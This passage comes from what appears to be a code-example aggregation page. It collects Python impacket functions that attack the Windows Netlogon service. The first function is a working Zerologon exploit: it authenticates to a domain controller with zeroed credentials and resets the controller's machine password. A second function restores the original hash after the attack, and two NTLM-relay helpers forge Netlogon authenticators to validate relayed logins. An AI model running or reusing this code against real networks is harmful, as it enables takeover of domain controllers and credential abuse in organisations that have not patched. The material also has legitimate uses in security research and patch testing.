    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        sessionKey = nrpc.ComputeSessionKeyAES(
            None, b'\x00' * 8, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
            nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                              nrpc.NetrServerPasswordSetResponse)

            request = NetrServerPasswordSet()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            pwdata = impacket.crypto.SamEncryptNTLMHash(
                unhexlify(originalpw), sessionKey)
            request["UasNewPassword"] = pwdata
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #34
0
def try_restore_originalpw(dc_handle, dc_ip, target_computer, originalpw):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    try:
        # Send challenge
        clientChallenge = os.urandom(8)
        serverChallengeResp = nrpc.hNetrServerReqChallenge(
            rpc_con, dc_handle + '\x00', target_computer + '\x00',
            clientChallenge)
        serverChallenge = serverChallengeResp['ServerChallenge']
        print("server challenge", serverChallenge)

        sessionKey = nrpc.ComputeSessionKeyAES(
            None, clientChallenge, serverChallenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
        print("session key", sessionKey)

        clientCredential = AES.new(sessionKey,
                                   mode=AES.MODE_CFB,
                                   IV=b'\x00' * 16,
                                   segment_size=8).encrypt(clientChallenge)
        print("client credential", clientCredential)

        # Send authentication request
        flags = 0x212fffff
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', clientCredential, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()

        clientStoredCred = clientCredential + b'\x00' * 4  # clientCredential + Timestamp
        authenticatorCrypt = AES.new(sessionKey,
                                     mode=AES.MODE_CFB,
                                     IV=b'\x00' * 16,
                                     segment_size=8).encrypt(clientStoredCred)
        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = authenticatorCrypt[:8]
        authenticator['Timestamp'] = authenticatorCrypt[8:]

        nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
        nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                          nrpc.NetrServerPasswordSetResponse)

        request = NetrServerPasswordSet()
        request['PrimaryName'] = NULL
        request['AccountName'] = target_computer + '$\x00'
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        request['ComputerName'] = target_computer + '\x00'
        request["Authenticator"] = authenticator
        pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw),
                                                    sessionKey)
        request["UasNewPassword"] = pwdata
        resp = rpc_con.request(request)

        assert resp['ErrorCode'] == 0
        print()
        resp.dump()

        print('Success! Password hash restored: {}'.format(originalpw))
    except Exception as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #35
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" % self.domainIp)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = ntlm.NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2["ResponseToken"])
        _, machineAccount = self.machineAccount.split("/")
        domainName = authenticateMessage["domain_name"].decode("utf-16le")

        try:
            av_pairs = authenticateMessage["ntlm"][44:]
            av_pairs = ntlm.AV_PAIRS(av_pairs)

            serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r"ncacn_np:%s[\PIPE\netlogon]" % self.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.machineHashes) > 0:
            lmhash, nthash = self.machineHashes.split(":")
        else:
            lmhash = ""
            nthash = ""

        if hasattr(rpctransport, "set_credentials"):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount, "", domainName, lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + "\x00", "12345678")

        serverChallenge = resp["ServerChallenge"]

        if self.machineHashes == "":
            ntHash = None
        else:
            ntHash = self.machineHashes.split(":")[1].decode("hex")

        sessionKey = nrpc.ComputeSessionKeyStrongKey("", "12345678", serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential("12345678", sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce,
            NULL,
            machineAccount + "\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            serverName + "\x00",
            ppp,
            0x600FFFFF,
        )

        clientStoredCredential = pack("<Q", unpack("<Q", ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request["LogonServer"] = "\x00"
        request["ComputerName"] = serverName + "\x00"
        request["ValidationLevel"] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request["LogonLevel"] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request["LogonInformation"]["tag"] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request["LogonInformation"]["LogonNetworkTransitive"]["Identity"]["LogonDomainName"] = domainName
        request["LogonInformation"]["LogonNetworkTransitive"]["Identity"]["ParameterControl"] = 0
        request["LogonInformation"]["LogonNetworkTransitive"]["Identity"]["UserName"] = authenticateMessage[
            "user_name"
        ].decode("utf-16le")
        request["LogonInformation"]["LogonNetworkTransitive"]["Identity"]["Workstation"] = ""
        request["LogonInformation"]["LogonNetworkTransitive"]["LmChallenge"] = challenge
        request["LogonInformation"]["LogonNetworkTransitive"]["NtChallengeResponse"] = authenticateMessage["ntlm"]
        request["LogonInformation"]["LogonNetworkTransitive"]["LmChallengeResponse"] = authenticateMessage["lanman"]

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator["Credential"] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator["Timestamp"] = 10

        request["Authenticator"] = authenticator
        request["ReturnAuthenticator"]["Credential"] = "\x00" * 8
        request["ReturnAuthenticator"]["Timestamp"] = 0
        request["ExtraFlags"] = 0
        # request.dump()
        try:
            resp = dce.request(request)
            # resp.dump()
        except Exception, e:
            # import traceback
            # print traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()
Beispiel #36
0
    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        logging.info("Connecting to %s NETLOGON service" % self.domainIp)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = ntlm.NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'] )
        _, machineAccount = self.machineAccount.split('/')
        domainName = authenticateMessage['domain_name'].decode('utf-16le')

        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = ntlm.AV_PAIRS(av_pairs)

            serverName = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.domainIp

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if len(self.machineHashes) > 0:
            lmhash, nthash = self.machineHashes.split(':')
        else:
            lmhash = ''
            nthash = ''

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(machineAccount,'', domainName, lmhash, nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', '12345678')

        serverChallenge = resp['ServerChallenge']

        if self.machineHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.machineHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey('', '12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)

        nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
                                      nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
                                      ppp, 0x600FFFFF)

        clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 10

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = '\x00'*8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except Exception, e:
            #import traceback
            #print traceback.print_exc()
            logging.error(str(e))
            return e.get_error_code()